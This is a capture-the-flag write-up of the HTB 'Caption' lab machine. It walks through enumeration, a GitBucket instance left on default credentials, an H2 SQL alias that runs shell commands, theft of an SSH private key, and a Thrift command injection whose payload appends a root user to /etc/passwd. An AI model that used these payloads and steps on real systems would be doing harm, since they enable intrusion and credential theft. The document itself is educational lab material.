Enumeration

As usual, we start off with an nmap scan to get a listing of open ports and running services:

PORT      STATE    SERVICE    VERSION
22/tcp    open     ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open     http
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions:
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
8080/tcp  open     http-proxy
|_http-title: GitBucket
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Sun, 15 Sep 2024 00:21:47 GMT
|     Set-Cookie: JSESSIONID=node0omw41k1si9r1ikicjvicmspd2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5920
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>Error</title>
|     <meta property="og:title" content="Error" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.14.114:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
|     <meta property="og:image" content="http://10.129.14.114:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Sun, 15 Sep 2024 00:21:44 GMT
|     Set-Cookie: JSESSIONID=node01gcb0ozy3jwsu1okgyilb30zcl0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 7195
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>GitBucket</title>
|     <meta property="og:title" content="GitBucket" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.14.114:8080/" />
|     <meta property="og:image" content="http://10.129.14.114:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/gitbucket.png?20240915002145" t
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Sun, 15 Sep 2024 00:21:46 GMT
|     Set-Cookie: JSESSIONID=node017jm73sktqscuxnpzykbzgva41.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
8724/tcp  filtered unknown
25065/tcp filtered unknown
41846/tcp filtered unknown

We see a fairly typical set up for a Linux web server; port 22 for remote administration via SSH, 80 for a web server and 8080 for an additional web server. There are several additional filtered ports which may not be correct.

We see on port 80, a redirect to caption.htb so we add this to our /etc/hosts file, start burpsuite and visit the web site.

When we visit the website, we can see it is a Python web application using flask. My first thought when I see this is template injection attacks, SSTI. This is a common vulnerability with this web service. We are initially presented with a log in screen though and we don’t have any credentials. We can try something simple like admin:admin just to get the request into burpsuite though for analysis later. We just see the response, Invalid Credentials which was expected.

One of the headers we can see in the response is Via: varnish(6.6). Varnish has in the past been affected by a HTTP request smuggling attack so it’s something to think about.

We should kick off some directory busting and virtual host enumeration. First, using feroxbuster:

feroxbuster -u http://caption.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

And then ffuf for vhost enumeration:

ffuf -w /opt/SecLists/Discovery/DNS/dns-Jhaddix.txt:FUZZ -u http://caption.htb/ -H 'Host: FUZZ.caption.htb' -t 40 -fs 0

Immediately, in the feroxbuster output, we can see a few interesting endpoints that might indicate what caption.htb is for, however, none are immediately accessible either giving 401 or 403 responses:

download
home
logout
firewalls
logs

On port 8080, we can see an instance of GitBucket. There doesn’t appear to be any public buckets available for us to look at immediately. We can try logging in with default credentials (Google this) and it works! The application has never had it’s default root account changed, so now we can see two git repositories available to us, logservice and caption-portal.

With access to the GitBucket portal as the root user, it turns out we can access the SQL DB terminal via the System administration -> Database viewer.

Exploiting Access to SQL

This SQL flavor is H2 which is a Java version of SQL. Like all things Java, I don’t like it. But bias aside, it’s fun to hack. The most common way to abuse H2 is to run something like this:

CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;

Running this will give the output of Updated 0 rows. when successful. It says 0 rows because it doesn’t modify any DB table records as we are just adding, effectively, something akin to a stored procedure.

This creates an alias EXECVE which can be called afterwards to get remote code execution. For example:

call execve('cat /etc/passwd');

With the ability to execute code, we can look around the machine. We can see 2 users on the machine, and we can read some important files in the margo user’s home directory such as the .ssh/id_ecdsa file.

This is a private key for SSH using elliptic curve with DSA as the basis of the cryptography, not RSA. I raise this point because it’s typical in HTB machines to steal or interact with RSA files instead. However, this is not the only cryptographic algorithm you’ll find in the wild, so if your trick is to always grab id_rsa but you fail because it’s not there, give a go at the other id_* files that might be there. ECDSA is typically faster than RSA, but RSA has been around since the late 70’s and is well-vetted by the industry. Mathematically and generally speaking, they can be as secure as each other but overall security strength will be based on the size of the key and the security involved in protecting that private key. It is considered that ECDSA (and the more secure EdDSA) can achieve the same level of security with shorter key lengths and with higher performance. Don’t quote me on this though. I AM NOT A CRYPTOGRAPHY EXPERT.

We can exfiltrate the id_ecdsa file and chmod 600 id_ecdsa and then use it to log in via SSH using:

ssh -i id_ecdsa margo@$target

We now have a shell on the host as the margo user.

Privilege Escalation from margo

Running netstat -tulpn in the SSH session allows us to get a listing of ports listening interior to the host. It looks like there are a few open ports internally running some kind of python application.

Running ps aux | grep python reveals that these are likely the apps running from the user’s home directory. Underneath ~/app, there is a python app app.py that has credentials for the application users (both admin and margo) hard-coded.

We can drop the SSH and then re-connect and do a local port forward so we can access this application.

ssh -L 8000:127.0.0.1:8000 -i id_ecdsa margo@$target

Going to this application reveals it is the same Caption log in portal we saw running on port 80. But we now have credentials for the admin user so we log in.

Despite being logged in, we get a 403 denied when trying to access the /logs route. This is strange because we are the admin user? Looking at the template for the logs HTML page, it looks like it will make requests back to the /download endpoint using a URL for local host on the other port we can see internally, 3923:

<a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a>

Maybe we can bypass looking at the /logs endpoint altogether, and see how we can interact with the /downloads instead. We still get a 403 denied when going to it manually.

Let’s just locally forward that port and interact with the service directly. We can download the logs.

The application running on port 3923 is copyparty. No clue how to abuse this service. It’s not the log service that was displayed in the Git repository.

Looking at the other service running on the host at port 9090, appears like a Java application in the netstat output. We forward this like the other ports so we can interact with it. Based on the code in the Git repository. it is running a thrift server. Thrift is kind of like gRPC in the way that it is intended as a programming interface between different services as a common interface so developers can write whatever service in whatever programming language they want. server.go reveals a command injection risk. Several lines indicate this:

logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}

If we can interact with the thrift service, we can inject commands and have them run by whoever is running the service.

There are several python libraries for interacting with thrift but they all suck… because they are python and even worse, python 2.7 and they are unmaintained pieces of trash code. It’s easy enough to interact with a thrift service using some generated Golang code.

First, we need to get the thrift compiler which takes a .thrift file and generates code to interact with the services.

sudo apt install thrift-compiler

Then we can run this compiler on the service definition pulled from the Git repository:

thrift -r --gen go log_service.thrift

This generates a directory called gen-go with a bunch of files. cd ./gen-go/log_service to get to the directory with the simple CLI tool created to interact with this service specifically.

You may need to do this to prepare the project for running:

go mod init log_service
go get "github.com/apache/thrift/lib/go/thrift"

Then we can test connection to the service if we have done the port forward for 9090 to our local host:

go run log_service-remote/log_service-remote.go ReadLogFile /tmp/some.log

This will throw an error as expected:

Internal error processing ReadLogFile: error opening log file: open /tmp/some.log: no such file or directory

Now we just need to craft two files in the /tmp directory on the target so we can exploit this command injection. Firstly, we need a log file for this tool to work on. We can ascertain its structure based on the code in server.go and prepare the command injection like so. Make exploit.log in the /tmp directory containing:

127.0.0.1 "user-agent":"'; /bin/bash /tmp/exploit.sh #"

Then we can create the exploit payload exploit.sh in the /tmp directory as well:

echo 'pentester:$1$3/vMHtaa$SK5QeFSNPR40GFN6YEbJ1.:0:0:root:/root:/bin/bash' >> /etc/passwd

The intention is that when the exploit runs, a new pentester user will be written to the /etc/passwd file so we can then su pentester and root the machine. You should use openssl passwd <you password> to generate the hash for this command.

Then, to exploit the chain:

go run log_service-remote/log_service-remote.go ReadLogFile /tmp/exploit.log

cat /etc/passwd reveals that the exploit worked and you should see an immediate output from the command:

Log file processed<nil>

We can then access our new pentester user and we have a full shell as root on the machine.